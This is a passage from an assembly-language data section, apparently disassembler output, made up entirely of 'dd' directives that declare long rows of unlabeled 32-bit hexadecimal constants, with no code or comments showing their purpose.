7D8F66ACh, 0B30E6869h, 50FC7E26h dd 14E9528Ah, 5FA97Ah, 5CCD9259h, 0A8CB8217h, 0DBB759C0h dd 0F5B6D52Ah, 6F79CFAAh, 0D59D7513h, 0EFEE1D1Bh, 0B3D4D6C5h dd 94FA4F55h, 47824A0Bh, 0BEC56D71h, 0B5F85FBCh, 0F73D5BCh dd 59989F35h, 582580F7h, 6BE65324h, 93D797E5h, 5B59F96h dd 836B05C5h, 0A38F1C71h, 0C0DC1DDCh, 6E312B64h, 92F7BC6h dd 7148862Eh, 6CD3D19Bh, 0AC32A168h, 0FA512D35h, 0B751F8A4h dd 624E3ED5h, 64AF76FAh, 68A6E272h, 73E71580h, 0F675CFF5h dd 1D2C52D0h, 2B89355Bh, 760B487Eh, 230DE218h, 3CBA8DD8h dd 0DC2DC2B8h, 3A7CF82h, 6ACD96ACh, 0BF008B5Dh, 0D082295Bh dd 6A2DBE98h, 0CA3E647Eh, 6F11AC09h, 4F27D97Eh, 4A965114h dd 5D4A2C20h, 107EE928h, 0FE5B1464h, 6FCD6F12h, 0F8775469h dd 0EF5ED45Fh, 0C2B8F81Fh, 91E768D7h, 0EAE04470h, 0ED1E3E74h dd 0C6AF81EAh, 0EABC1DD9h, 24EF8212h, 3FECA2B6h, 24DB0A6Ah dd 240973FCh, 0A96368F6h, 8BDE0F99h, 0F67CD824h, 517A65D1h dd 4C639FEAh, 50E0F0Eh, 16D206DAh, 0BF7189A5h, 8890D4C1h dd 527F0914h, 8CE5595Ch, 8C695F1Bh, 9F197089h, 4BAC0A67h dd 0C07BA402h, 9E32C5A0h, 10421AA4h, 0B32AD4EDh, 0C2B5DA09h dd 0EAA0D897h, 76E8A95h, 40A86D7Ah, 13178448h, 8039E1E4h dd 323E5B98h, 0F58F9B51h, 0B445B712h, 89984070h, 663B6F46h dd 3BC1F38Ah, 58FEBD45h, 2D48BE07h, 0E3919B42h, 9534EBB9h dd 278EAD5Dh, 61F87EAh, 49C3A227h, 0FDE0FA37h, 0BBFF96E2h dd 0CBF15459h, 0B8754086h, 0F7041673h, 3AAE4D37h, 4A60EE4Ch dd 4AE2033Ch, 0CEA5E66Bh, 23ED295Ah, 5FEBD01Fh, 22B02D86h dd 0CF60E705h, 0B166E085h, 1D4BA2BBh, 0EA119051h, 0E4F52A61h dd 1905141h, 0B57CD46Eh, 9E841E24h, 3146AC6Dh, 871303E2h dd 0F950A7AAh, 87B7654Bh, 84AF28CFh, 6281A0B2h, 0A9956E3Eh dd 1878500Eh, 0F99C753Ah, 0D7246E3Fh, 0B2D162BAh, 6B264B78h dd 5FD70CECh, 978667D8h, 0ADEE2EE6h, 38F27704h, 68A7078Ah dd 0E16DBE58h, 0C0F5D4B2h, 87FAAB15h, 852593CCh, 52C52466h dd 3F169A2Ch, 2D3E9EE8h dd 7868A620h, 2BB4A22Ah, 4839548Eh, 0A64D7173h, 9CE4EDCBh dd 5ACB5D24h, 0FCC84230h, 778FA3ADh, 915BF413h, 3E7286E3h dd 60214B4Ch, 0CCACD81h, 6AE85FB5h, 0C168C912h, 0BF7ADD6Ch dd 836324EAh, 73C6E279h, 0E9EEC0E2h, 0D20038B8h, 0E84D1281h dd 7F399E2Bh, 0C3BD4B51h, 5CE2226Ah, 98774362h, 0A331A3C0h dd 0A133E6ACh, 8D5A2479h, 0FC6746CDh, 0F87D9AA5h, 860FED73h dd 723A5FC8h, 55A283ECh, 0A9E304F3h, 0E7ADBE73h, 0D0F1FE6Ah dd 8527D0FCh, 4FAB0C36h, 7C5D8C4Fh, 0A203BFA2h, 0F0FC65D9h dd 0DEFD0386h, 0BED44C0Ah, 35536BA0h, 94E34747h, 1552C30Fh dd 7DF830AAh, 94897A02h, 0D4708162h, 7B884303h, 0DB9D9B80h dd 0C54BF965h, 3CAC22B6h, 0BDFBD882h, 0E7EAC416h, 0FB7EAA80h dd 650E368Dh, 98E9E079h, 170A9506h, 0C65FD057h, 0BB15A317h dd 0F07BF591h, 891B5117h, 9BB62767h, 3E2D4ADh, 182AF792h dd 0B8E7DDBDh, 0B8A9549Ch, 1E444313h, 5CC6F15h, 61B6B764h dd 2AA033A2h, 9EE1780Dh, 445C6DA8h, 501FCE10h, 116B1838h dd 7E37351Fh, 7F9ADB03h, 0F0E45CB8h, 646ACA89h, 11436B25h dd 23C9A727h, 81555B76h, 0B6CFB03Fh, 0DE54F6FFh, 6E02DE1Eh dd 0B44FB334h, 7B45534Ah, 0B19B6DB2h, 0D03529C2h, 9C259442h dd 0AB37B7B6h, 0B931E02Ah, 0F2325ABEh, 2E105ABEh, 443F1F61h dd 5F3A0E0Fh, 2146B07h, 3943623h, 1476FEBAh, 1578DF6Bh dd 83EB7186h, 0CE1BC5FCh, 2B0B689Fh, 3AEB6498h, 4AAFFBCEh dd 1591FB44h, 3EB22E78h, 5C82F644h, 0E36A04A7h, 0E9EC5AF8h dd 0D6E762D1h, 60AD03DEh, 6EA8069Fh, 4C1DF7F8h, 0F0F19DB1h dd 0A21B3DC0h, 9E1718ADh, 86CD4734h, 0CCFDA91h, 15A29F9Dh dd 0FB9AADA5h, 0BA8A5609h, 542D460Ah, 9EDF308h, 2B945E8h dd 8B8D49B4h, 432E1E7Eh, 685F62E0h, 0A576EA9Fh, 0B981B95Ah dd 29BC4193h, 0B5784DD9h, 4E015ECEh, 5EA48118h, 7B15AD96h dd 9B47576Ch, 0AF938DCh, 4FFD8987h, 0E07F59B6h, 8C1CB04Dh dd 52DF40B6h, 0DEA6096Fh, 0A1181E5Eh, 5F1135FEh, 0F0494781h dd 36A798DDh, 45F5FABEh, 0ED42D1A2h, 0D2CD9C8Ah, 4DA4B941h dd 126B6342h, 0BC631156h, 0A100E545h, 0E5D6E7F0h, 76717460h dd 89BF62BEh, 0FC6BC42Fh, 0B91802D2h, 4AF6C27Dh, 0EC8A2685h dd 97165B43h, 9E6F52C5h, 8102FE62h, 0B69956A8h, 17D8767h dd 81EADCE6h, 0DD8FC17Fh, 56B37B9Bh, 96C0C123h, 0BDD1DA95h dd 680218DFh, 0C93BC0FCh, 685C393Fh, 0DA07D15Fh, 0B0106474h dd 16A5177Bh, 0D356B446h, 0AC0D9EDEh, 4F6A9E26h, 6FB534Bh dd 77B57E61h, 74B8971h, 15F0FA9h, 63D4DB7Ch, 303C7BC7h dd 0D23399C5h, 0B5D053D5h, 754383C5h, 69B4A9CFh, 5F09AB3Fh dd 1ADB9C42h, 0D1D0B789h, 1E3BFB0Fh, 0C4E75C07h, 236FB685h dd 7B2A3238h, 7F8CCEA9h, 0B72B2FDh, 616D1FDCh, 0C04BFB7Dh dd 4D705228h, 0A834C1D3h, 8EC7BADCh, 13F06502h, 42B53420h dd 6BCB35D7h, 0F40E1625h, 6926C563h, 10F05AC2h, 778F06B1h dd 0D3DFC6ABh, 0FD136B8Ah, 0A78BEF3Ch, 660B2DDFh, 34D4C8A1h dd 835C6C22h, 290971B2h, 59E52DD9h, 0AC0FDA73h, 92DCF870h dd 0AB1BA60Bh, 5E0BF68Eh, 0E7F0AE20h, 0C2CC0392h, 0D6C35C67h dd 951EC0FAh, 32FE5E84h, 446B7C48h, 62E707FBh, 0D188DEBAh dd 607F144Eh, 0DCFB6935h, 5BEFC2BEh, 0FE670ADFh, 96F7A90Fh dd 0C35CE48Bh, 0A4DB5778h, 459F1ED3h, 92AA445Bh, 97C294DFh dd 72D129B5h, 15474656h, 0EE30B7B8h, 5AE45A57h, 0B53B4559h dd 48075D7Fh, 8303F2DCh, 0C0BE9485h, 0EA8025FEh, 185599D2h dd 0EF31C0F0h, 0B5F42EA4h, 0D9C6C00Eh, 795493FCh, 1A0DAB33h dd 0B2195039h, 0F5D65611h, 0CAAC6F27h, 0BB4672FEh, 0CDD3D6D8h dd 4A98D478h, 2D4D4699h, 0C8AA8386h, 0E2189747h, 0BC5FAD98h dd 2FD0E15Fh, 2D0A04A6h, 7FD0A878h, 8053F18Eh, 0A8527652h dd 0ABDA39DCh, 0D87795Dh, 2A074A0Bh, 23E4C3FCh, 0D6BCB0C6h dd 1E9FAE90h, 369B3F91h, 1F8D7CBFh, 8A9D64A9h, 555DAD68h dd 20B76AECh, 0F9C85BE1h, 35BCC5C4h, 0CB9137A6h, 0FE37A363h dd 322F1456h, 8A368EF6h, 0AF9D87A2h, 0FD4B9B68h, 14FA38B5h dd 4B16401Bh, 71B5752Fh, 0C9CCA908h, 5BE59D77h, 0C2E07CDEh dd 2FB553B0h, 5FFD608Dh, 0FC1D2E6Dh, 64961705h, 572213D1h dd 4FEC1F7h, 65FE1409h, 0B70F72B1h, 0B8DB17BDh, 0D6B6B476h dd 15CBD0h, 0B0BEB01Dh, 0D8E3D543h, 2CA9FEB7h, 1C0D669Ah dd 0FB68A6CEh, 162E6F35h, 303E094h, 0D32F9750h, 0F098F0B5h dd 0BD71DCAAh, 78A4F385h, 6F66D069h, 5BE4D37Ah, 8B5FD621h dd 20F61E2Dh, 3A07FD02h, 0F7C9F1Ch, 0E205F1A6h, 88EE2B46h dd 0AAD4CD44h, 0EBA3611Bh, 21ADB910h, 1AD4CA1Eh, 0A8008710h dd 0AB0F5FCBh, 9BD3549Dh, 4C0AA0F1h, 15B252D9h, 3D51FC0Fh dd 0D755379Eh, 0F0A57D5Ah, 901CF672h, 2DC467A0h, 4A6C36B7h dd 274EC03Eh, 7317E9C4h, 5974E6BAh, 2B83B713h, 0C8BF4AB5h dd 40044147h, 0FD5D4B15h, 38015E1Ch, 7EAF50C0h, 0F7E614ACh dd 0DEE5CD3Ah, 2ED747B7h, 778DA84Ah, 0FBB68BAFh, 2DA45B64h dd 6787C1E4h, 47312F3Eh, 2014700Dh, 8FB656F8h, 0D3E9EE9Ah dd 80D7D546h, 0F0ADDC2Ah, 0EC52A6FCh, 3137EE1Fh, 0ED43814Ch dd 0E268762Fh, 1574C42h, 8795EC48h, 21F89E15h, 45EFD1F9h dd 6E1E2E82h, 5F19F255h, 8A2C6DDEh, 33AC77A5h, 5CAC43DFh dd 45D4B64Bh, 149D50A1h, 177A29EAh, 85A2365Fh, 7FA05EFFh dd 28909E16h, 59DEA90Dh, 72277CC9h, 86740F3Eh, 95C81DC1h dd 461CB551h, 0D73E1174h, 8F6C7F5Dh, 0C0595AE2h, 0E05457BCh dd 4707AF54h, 0E4139D46h, 4312ABC1h, 88D6C972h, 53492C95h dd 0F13C8A2Ah, 9675A6CEh, 0AC383E98h, 0D87BC304h, 0A415C096h dd 0B76AAEF4h, 9E0928E9h, 0A290B95Fh, 678ED716h, 17F6A2BDh dd 1AE75B8Dh, 21F2927Dh, 3AB38E0Fh, 9FA76ADh, 0D78FF3CFh dd 4868B4F2h, 0FF7A5776h, 0A2555EDEh, 1478B20h, 0CE5A2756h dd 1EAEA81Bh, 3CD5AA3Dh, 62AE5FEDh, 48A96AE0h, 6E405675h dd 5126CE9Ch, 46B667B0h, 3C29564Eh, 3D5C7169h, 94502A4Eh dd 1C50FC25h, 7C2E2A0h, 0AAD892B1h, 327CE9BCh, 7A2FB208h dd 455ECB47h, 2590065Fh, 266DC771h, 779558A5h, 2314871h dd 0D6C870D4h, 0E37B44Fh, 4C5D19Bh, 3F96E170h, 0D1FE34FAh dd 57AC2B8h, 0C6A73644h, 0C174F9DAh, 47BFA1A6h, 0DC56ADD7h dd 2DCD5AD1h, 368F6C25h, 2EA3E90Ch, 0C0FBAD91h, 0CEB690B9h dd 0AAAB6C1Bh, 276F96D1h, 5A4512B9h, 72C1AADDh, 87C323BDh dd 8E818527h, 0DD67EBAFh, 0B48A69B9h, 2390C8Ch, 236837F1h dd 35E75B9Bh, 0A6AFBCA6h, 8AD6B2A0h, 759F016Fh, 37F3EFD5h dd 5E629F33h, 54EECA30h, 0FD599BE4h, 557DBA8h, 8F692E7Ah dd 0CB7A1E2Eh, 7178BF64h, 0BF2B0DD7h, 81749AA0h, 0A8CB6C6Ah dd 5EA623BAh, 0B7C5C775h, 972C09CCh, 672261C0h, 15DD5D09h dd 2B3F821Fh, 81BF2C8Fh, 2E7E5CE9h, 0B6E3F1D0h, 0E37DD7D9h dd 0AB2808DDh, 0ED0ABE04h, 0B2A615D7h, 0B1566BA2h, 3D75DD25h dd 0CCE7B89Fh, 616A0979h, 4C2B04D2h, 0D84CE64Eh, 0AE9BC982h dd 8F9C7E47h, 0C071DBF1h, 6D19F766h, 26F86DA2h, 61EDCBEBh dd 0E04DDE73h, 3C297CADh, 0E176E053h, 7DFE685Ah, 0BE0BA803h dd 364FC43Fh, 147912Ah, 0D6F7B1ECh, 20117A5Eh, 5E1C3F07h dd 75F98122h, 0E93C9C2Dh dd 8CB34B09h, 56C8CCEAh, 0FC0B7045h, 0BF0EA1h, 0C8EE0EE6h dd 715E1C6Eh, 0AAFC4D55h, 0E8A02BE3h, 0A9FDF816h, 0CB791C70h dd 16E26EEAh, 3012CBD2h, 37AF8CD0h, 24739D7Dh, 0ADDA0B76h dd 1A61AC1Fh, 0DDECFAA3h, 97C96BEh, 0B6D5BBE5h, 4082F6Dh dd 0D491D335h, 2F0E3D3Fh, 0A2B2AFCFh, 0EC155148h, 9BD7F5B6h dd 130FC64Eh, 0D83C707h, 9303C0F7h, 0F01F9FA7h, 0BB0FE923h dd 12CF4B9Ah, 0F03FF1F0h, 683E1B3Fh, 0BF5B0BFBh, 6F94C3E2h dd 0F83E8433h, 981031CDh, 0FF7EFD37h, 79846982h, 3D93CCF7h dd 52A92CFBh, 7417D8BCh, 8575F12Bh, 59077940h, 9BA48FABh dd 0F4B9781Ch, 0FE8E747Eh, 2515046Fh, 2DA1AD89h, 6EBB7512h dd 50C4BD74h, 22E49470h, 4CFCABA9h, 8A5DE1CCh, 84B1217Dh dd 0C862FAD8h, 1E84D6D3h, 405054E5h, 459E09BFh, 356C0FAEh dd 617ADCEBh, 4BF2FE56h, 639182FFh, 0BBEEE38Fh, 8B061C9Dh dd 3140DA3Eh, 8DF1E5FDh, 0F8B4D275h, 353792A5h, 0D0C09DDBh dd 97C7D14Bh, 0F1E9B0D8h, 86E9BAEAh, 0BDA30573h, 5089B491h dd 0AAFAFD5Fh, 98EBA39Ch, 7666A58Bh, 0EAB5727Bh, 12CE6C54h dd 9D318B9Eh, 24EF9E95h, 0F32D5E78h, 0C669E4EBh, 6B727ED5h dd 0FA4BB6DEh, 5542E9Dh, 82458B53h, 6B5E7E4Ch, 0C05281A8h dd 38479DCDh, 6659A85Dh, 9A8C011Bh, 0DC89FC1Ah, 6EBE6DDCh dd 0ED5391D6h, 5F69BCD5h, 0CD383E18h, 0CCED6EDBh, 0B16CC1F0h dd 250E5C86h, 8A7D2D1Ah, 1C035237h, 0EB5903E6h, 0BD4B44DDh dd 345088F1h, 96CB8977h, 0C55232BCh, 0C273968Bh, 0CC02AF1h dd 5555F8D4h, 0EBBA67B6h, 0A4E636B1h, 0FA0207CAh, 3EBDD351h dd 0BB6A1B9Fh, 99F19ED1h, 38A7C95Ch, 1015688Eh, 0CA386768h dd 0EC368F6Dh, 9046FE31h, 13794D00h, 15F2F58Eh, 0AD288A17h dd 1938FD53h, 0B2F54559h, 9129A25Eh, 231F3E01h, 9C0F8613h dd 8A9F2FC5h, 959BA12Bh, 0E44CF807h, 68AA7E1Eh, 2D4DFA9h dd 0BE934180h, 51EA6AE4h, 9CC3F1D7h, 385ABC78h, 8BE8B2C0h dd 0A3A4ED29h, 2298242h, 0E56DE497h, 9B1ACC07h, 3FACB721h dd 0CE778BAAh, 0DCD6D1F5h, 0B48E7FC3h, 60A558B2h, 0F13DCD97h dd 37DFBFE0h, 97942AB1h, 2A95A301h, 36E9E697h, 4CD0F94Fh dd 346A03EAh, 96CF28B3h, 2FBF0957h, 1DB303A8h, 758B52D1h dd 45C207DFh, 6E84A461h, 0C7552FEEh, 29FDFC8Fh, 0F37D58A9h dd 39773E0Fh, 9E05F7E3h, 0C87FB9ECh, 0D01CEAA1h, 0EE685EFEh dd 0A44A9882h, 0B4B5D977h, 0A0AB7465h, 42C26228h, 3813B5CFh dd 0BF022AF4h, 0A9E58CFh, 78717CEh, 0A5A598E0h, 4D53A71Ah dd 9B9AB9F2h, 5A363CF1h, 0A73DC17Ah, 0B258AA33h, 0C8826260h dd 0B90C0AB1h, 1367EF6Eh, 0B8E05406h, 7B36A140h, 5259EE88h dd 0A07B019Dh, 0E8E1BEFCh, 155E2B81h, 87413AB4h, 74DDA59Ah dd 0A318768Ah, 4E649E1Fh, 84D278D4h, 0B26ADE19h, 76C6A1F8h dd 8EFAA770h, 0AD0A5001h, 93412F5Dh, 0B8D4B6BFh, 0C4959AE0h dd 0BC8F9CBBh, 5DA2EF5Eh, 9FD11F1Ch, 0AD4BA968h, 28849EC9h dd 86078D1Bh, 0E9CB74EAh, 91ACEF4Fh, 0ADAA5CA2h, 0AEF07015h dd 0C979978Dh, 6B461617h, 0C5EB5617h, 0AB4398FCh, 197F0754h dd 0DC8ED2F4h, 4578C2BAh, 1EDFCC93h, 0C32A462Dh, 28DCDEECh dd 0ED7467B7h, 4FE041EDh, 0BE025E82h, 37898FA9h, 8C7AA7F3h dd 2E7B5516h, 0A99827FFh, 0A60EC3D5h, 7BECF2D6h, 5A267716h dd 0E26DFC60h, 1508FE10h, 74F36563h, 0F95E6152h, 0D99087E2h dd 0B5740554h, 0C64B9D3Dh, 0B6536D81h, 0E9CDB95Ah, 0F0816FAh dd 0A7C359BEh, 82215331h, 83D6C585h, 0FF0D665Fh, 0CD79DA1Bh dd 32753C7h, 4AB17487h, 0E2723597h, 0A7C3A6ABh, 56AF52CCh dd 0F557D852h, 0A51C552Dh, 70206AD3h, 0E6C64E3Dh, 2D1ACF6Bh dd 109B411Fh, 0AF46FD5Fh, 0C0FBF87Ch, 0E2FDE583h, 0C5F94F37h dd 59B6A437h, 13611DF2h, 0C7DA9DADh, 14DECF77h, 4AB36DEh dd 0CA93AA61h, 27A31307h, 0B16F1549h, 97F086Fh, 9D957F0Ah dd 0E3D0541Fh, 3F4C16D7h, 0BA07A319h, 3288A36Ah, 2C0D6045h dd 0E46B8ED2h, 0F4A35962h, 0A89F8E0Fh, 81731ACEh, 0C07EFD00h dd 0A8276340h, 0AE0A5675h, 769FE065h, 0B5CB1799h, 65D6ADE5h dd 0DEFF21FBh, 72219902h, 4AF6B049h, 8FE75503h, 170FC19Dh dd 0C3FDE18h, 0B80A456Ah, 0B265FE4Dh, 4D0F25F2h, 0B52BA2A9h dd 3DF22C78h, 0DC1D5E2Fh, 0D14FE1FAh, 0E79F48CAh, 0C289EC8Ah dd 0AED8646Fh, 3B72D920h, 569DD8FFh, 97F45379h, 324F8A9Eh dd 64D6C3D7h, 0D3DA2D6Fh, 0D9AD8ADDh, 0A97E4A64h, 8B838D50h dd 0E609D7C1h, 7ED6B6F6h, 5E0F2E35h, 81EBCD8Bh, 5F2945FDh dd 0A4E71A4Bh, 282265Ah, 86AB685Ch, 0F85BF82Dh, 0B5A2DDA7h dd 123C8FF3h, 0EF6A55A8h, 8812F329h, 8B5E684Dh, 3D5703D5h dd 0B3C7F378h, 302DB4F1h, 7ED40FC4h, 41A90E57h, 0BD077A6Fh dd 94F24A0Eh, 1E7D81E1h, 96B7E130h, 6E280275h, 0C492AAF1h dd 8D04860h, 2C30CBC5h, 240FF0B8h, 1F3FC1C9h, 0F75B3DB3h dd 514DD4C2h, 9580E5D4h, 6D176916h, 0DA0F5975h, 0EA68A6D6h dd 43F291BCh, 0ACD76D70h, 0AA96DD87h, 85B204A1h, 5368A5ADh dd 0B61F8BA1h, 68FED45Fh, 0C0D6FD3Bh, 16CB9BC9h, 0C1776E13h dd 1DCE50C9h, 0ADD2A02Ch, 0E12B4598h, 1E474295h, 3EB128CEh dd 5AEE28DEh, 7FD3B839h, 4932C80Ah, 0AEC0D3AFh, 7BE3BA54h dd 0A68AF2FCh, 50938A17h, 0ABA6BFDDh, 2443FDEDh, 57076B14h dd 321F8CB7h, 0D35AD2FEh, 0E07CB6E9h, 8FC38D33h, 0EAE70D1Ch dd 8FC6FAEEh, 0F0CDD13Eh, 1DBC0B22h, 5FEF300Ah, 0FE216EB5h dd 3666366Eh, 6FB70656h, 9E6376F6h, 69E96900h, 3042E848h dd 4CF8188Ah, 2FEF1401h, 80E3E6D0h, 0A5BBD72Ch, 76406E8Dh dd 0AB56FDB2h, 1B5B97E1h, 23348A62h, 86C4192Bh, 0DD85F82Dh dd 1570BA76h, 2CB43557h, 29DAA46Fh, 0B4E6CDB7h, 59852B4Ah dd 90A9CA75h, 9F9AA76Dh, 0D69F3CFh, 0B60F01C1h, 0E446A27Ch dd 0A5623EC9h, 49D1BABEh, 851A09D7h, 0F7C9BD54h, 0E4245B3Eh dd 0CE652F59h, 7537287Eh, 0D88C054Ch, 56E0F815h, 186DDC4Dh dd 7D2ECA52h, 8817875Fh, 17CC6B8Bh, 0FC79D39Ch, 64395F3Ch dd 2987AB75h, 977D3405h, 0F29DBF70h, 0A7C54AB1h, 0A6713058h dd 2CF84E06h, 3174A597h, 6416BBC9h, 0B87689E7h, 0FBBBDBADh dd 4CE2BC27h, 42DB9561h, 0ACFC9C38h, 3DAEA5F3h, 9CD82348h dd 372B24D8h, 88F7D66Eh, 0E3BB85FAh, 0AF1FC704h, 0B448DD2Dh dd 0DB99B337h, 0A477AA9Ah, 0F92C6843h, 53E43B85h, 87E365BDh dd 3830BFh, 25D99BE3h, 0BF11A3ECh, 0CB47E6E1h, 2FC8D870h dd 0EA168B2Dh, 0C31F2351h, 2AC75C7Dh, 0E7D0859Ah, 29A7A77Ch dd 0A1E0E3E4h, 0F7340292h, 0FA9A376Ah, 0AC2293Ch, 8223566Dh dd 0E731DF0Bh, 817E9EAh, 0D019D9Bh, 0B2A8ECD6h, 6EDE1E31h dd 0C1F545D6h, 43E47FEh, 0D84B4AC4h, 0C5BEE7EEh, 0B525BEC6h dd 36A2C756h, 7E6CC454h, 0A49638FFh, 2BB7DEECh, 2B57D3Ah dd 57CB256Ah, 1F88E2C2h, 0DFE5C53Eh, 9E9DC55Eh, 713A5DA7h dd 0EE9FC303h, 0C8C35A22h, 734C3AF9h, 0A96D24D8h, 0B8870797h dd 190DABA3h, 0C7F0F4ACh, 4CBA74Ah, 9DB71593h, 0CFC9015Eh dd 3C312A8Eh, 0C0572F0Ah, 912294A7h, 56FB06C9h, 0A83E6AABh dd 94232A5Bh, 84FEBE6Dh, 28187724h, 17B5D4A7h, 15252CCDh dd 95A78953h, 0B33B66EFh, 49557E52h, 0BE5AD2D6h, 3E9EB01Ah dd 5ABFD81Fh, 7D0A47AEh dd 0F8AA1D24h, 112EC6ADh, 0A8ADEA9Bh, 0E967B807h, 25EAB68Dh dd 63982990h, 70B151F5h, 854F175Ah, 15BA9E82h, 299E8A95h dd 0EE2AE2EBh, 5A36F625h, 20DADF9Ah, 0C0F5AAF4h, 0EC545B77h dd 0FBA916B4h, 36B25EA1h, 0F8288AA5h, 79879BE7h, 783E65E5h dd 9B11D4C0h, 0FE38DB98h, 7AAD0F61h, 0EC15E771h, 0C73014E5h dd 7447CFC5h, 703DA86h, 0E93A861Eh, 0C0AB3EF7h, 6D2720BDh dd 25185BF7h, 0DD91BA64h, 55A527F2h, 0C363015Ah, 96D9D370h dd 0BEEFE07h, 0A76789E9h, 0EEA23D63h, 77E402BFh, 2846B266h dd 0CE602D53h, 85D03D81h, 531F0B46h, 0BC7203FBh, 897C51FCh dd 0A4772D92h, 0D02DB97Dh, 0AAF68C04h, 8A250D5Dh, 4A3BF158h dd 0E0F1D716h, 6A8D9F03h, 0E5F0F4B9h, 56187E0Eh, 0D7051019h dd 79FE1C22h, 765D783h, 2F96198Bh, 0F82CF770h, 7910D571h dd 0AEDB71A1h, 66DC7BB4h, 3C3B47CFh, 2AEED64Dh, 0A70CCEE7h dd 0F16C62A4h, 5EA3395Bh, 0DBA630D4h, 6F84A6D1h, 50B8E628h dd 6FDE642Fh, 0F52AE21h, 5EB7F781h, 7B21167Fh, 2C6DEADDh dd 8D898270h, 79F0B056h, 0C22F8929h, 8A59D888h, 0B539B45Ch dd 66458B4Ch, 7B319D4Ch, 5A96870Eh, 0E3309440h, 0D2DFF54Dh dd 0CCDF5881h, 0B854E9DCh, 0A3242A92h, 0EB7F8FD3h, 1CF05CF3h dd 97D99076h, 75EB380Ah, 625C7C92h, 0BA7FCFACh, 0D95269C9h dd 1843112h, 7A89141Bh, 2DCD70CCh, 5771594h, 0DD3ECEADh dd 6A9E872Eh, 26CE524Bh, 145DEAF8h, 0C7FAAC9h, 9681681Ah dd 0C97287E2h, 0B135E77Ch, 21C2D50Ch, 0FA331CAh, 0D8E88BF8h dd 3F5C3D4Fh, 0F00C255Bh, 68ED0945h, 0A27130CDh, 0CD0BF03Ah dd 378E5AB8h, 3B7BB5AEh, 564ADD66h, 264151F6h, 0BEE5091Fh dd 43C5A39Dh, 5F5A7C85h, 65E36B83h, 1637950Fh, 0C770EBA3h dd 0B776E960h, 79D78B4Eh, 720BC1E5h, 0B74A69D5h, 340AB430h dd 19F154FCh, 0FDBDF24h, 0DA4B7137h, 0D22351DDh, 0BCE3B3B0h dd 3F411A0Eh, 63D2B95Ah, 74E088D7h, 79601654h, 0F92B1436h dd 7B0C0599h, 0AE6A35B4h, 0E70CEE37h, 371308BCh, 0EC657721h dd 100A7D17h, 0E084E04Dh, 15EE558h, 99FBF0FDh, 5E0FAC6Fh dd 0B0D2905Ch, 0A44491ACh, 0DB0CE1DCh, 6698D7D7h, 38AB177h dd 0B0B1F908h, 24E732A7h, 7BBE2D9Ch, 59DECCB6h, 5985D0D2h dd 0E2E952D6h, 0CC9EC0B2h, 0A053EAB6h, 350972D9h, 6228805Bh dd 0C0E3CB1Fh, 614AB0ACh, 995ACD2Bh, 0DACDFC40h, 0DF3F230Fh dd 0E03E5EA0h, 30F0A86Ah, 0B70A4C16h, 9A69CF41h, 562F470Ch dd 0E99D46D1h, 0A57D46B6h, 0CF68023Ah, 0EF2B015Bh, 4F8AD15Ah dd 291C9C2Bh, 0A6D9F081h, 0EA353F7Eh, 32EDF798h, 0BC7B5895h dd 0C81235D3h, 0D9C3C4C1h, 660AE01Ah, 42EECB9Ah, 7DB7A13Bh dd 0DC138417h, 3730FB67h, 24115CD5h, 0CF716170h, 0A53CA141h dd 0E56EC496h, 0DA5B85FCh, 34A27E70h, 3E2D8F7Bh, 0E9425561h dd 5313E65h, 98823608h, 753C4DEFh, 0FD7C0FEEh, 2354FF2Bh dd 7DD8C0A4h, 0F84DB365h, 0FA2A7711h, 5BCCE21Eh, 61D6DAFh dd 4F7ADE36h, 5BDE96CEh, 7CFA8E9Dh, 0FC4AED9h, 9D619C2Ah dd 2536DE59h, 0C3A80147h, 0BD6EEA29h, 2DF84452h, 0D52EE661h dd 197A37Eh, 0E0BA3D63h, 0E399839Eh, 80D2B1B1h, 587AE1BDh dd 0F19E1A98h, 6633B930h, 46DA4500h, 57492487h, 0E03BED45h dd 46FEA06Bh, 0BC733530h, 9735511Eh, 554A8A6Fh, 7C1AE06h dd 5648EBACh, 679CEEE3h, 0B55B7DB0h, 501553CAh, 0C5FC627Ch dd 0D6CC4CF3h, 0CBCA01CDh, 0B210EA4Dh, 29C0DCCCh, 0FDD81FECh dd 9763F29Ah, 0ACFF5D4Eh, 79B533D8h, 17E14D93h, 0D07F1708h dd 0F1DA97C5h, 36A4543Ah, 51A5D3F0h, 0F85EF1FFh, 0D7DC953Ch dd 5988340Ch, 39B2CFB9h, 0A5A2CC1h, 85F11E4h, 0FC0CEAEEh dd 7A18DE7Ah, 318D3AABh, 20260B0Dh, 6BDD3A60h, 991BFC0Dh dd 0EB7B6F8Ah, 0B8FED91h, 70DD0A50h, 3F183E41h, 700C885Ah dd 253D10C7h, 0DA6E1451h, 2BD628C9h, 0E4B8F5A4h, 0B2320540h dd 0A7355255h, 4946DE28h, 0EC41F96Bh, 1A4B2E56h, 8D96EA31h dd 857D3B09h, 3D0A5978h, 2FCBB8C2h, 618EA06Dh, 52AF0586h dd 7E72B8EFh, 9CF030C6h, 26034F9Eh, 96042B9Fh, 60E78BEh dd 8B08275Bh, 7D6B4719h, 0E9A8B3F0h, 3E402B9Fh, 0A9257697h dd 43F1D268h, 0C02BF08Ah, 84053AAAh, 86078314h, 0A50BE29Ah dd 0E779DC0Ch, 30F3A065h, 0F2CB0F60h, 0B31664BBh, 116AAFEAh dd 30AA1ECDh, 4D9044CDh, 0FE5976D6h, 6B2EE968h, 0DB34F575h dd 59A000AEh, 0AB1E96CAh, 0EC2A9C3Fh, 60104CFBh, 0AAD23592h dd 7EBB52D9h, 4C26249Ah, 294BFE39h, 829EFF98h, 4E557860h dd 5F7489ADh, 895A20BFh, 0CEA675FEh, 8837A4A8h, 0FA991C37h dd 96B54810h, 9E9C07FFh, 1D1BFDD5h, 0F6FB5B5Bh, 9777DAA3h dd 68ED7768h, 50C090F0h, 0D3AEDB2Dh, 0C0249FEFh, 34DA5A38h dd 0D5AF2561h, 0D60D0A48h, 2E535544h, 0FBE43BDBh, 0B015ADE2h dd 0D2C8CDD4h, 9D313648h, 4D2646F9h, 875B35F6h, 8CE73948h dd 0D6FC67D6h, 0BA02E78Fh, 7F4B6B8Fh, 4B354B1Ch, 83501B8h dd 1B4958E1h, 80D7F411h, 2750446Ch, 0B406D1E5h, 0A4CCFEF1h dd 0BEB540CDh, 0BA9DB397h, 8DAE2F01h, 0C53C5FF1h, 0C9EBD0B9h dd 80FBF3EDh, 85464A64h, 86078F09h, 0BBE2AC9Fh, 775006E0h dd 0D04F78BFh, 0D46C72E7h, 0CD90931Ch, 0E047AE7Ch, 53C05BD4h dd 0A946D764h, 0AB053FACh, 0AFF182D6h, 2EAFDF83h, 4DA1EBB5h dd 405B9BB2h, 8237B65Eh, 3594C73h, 63A7052Fh, 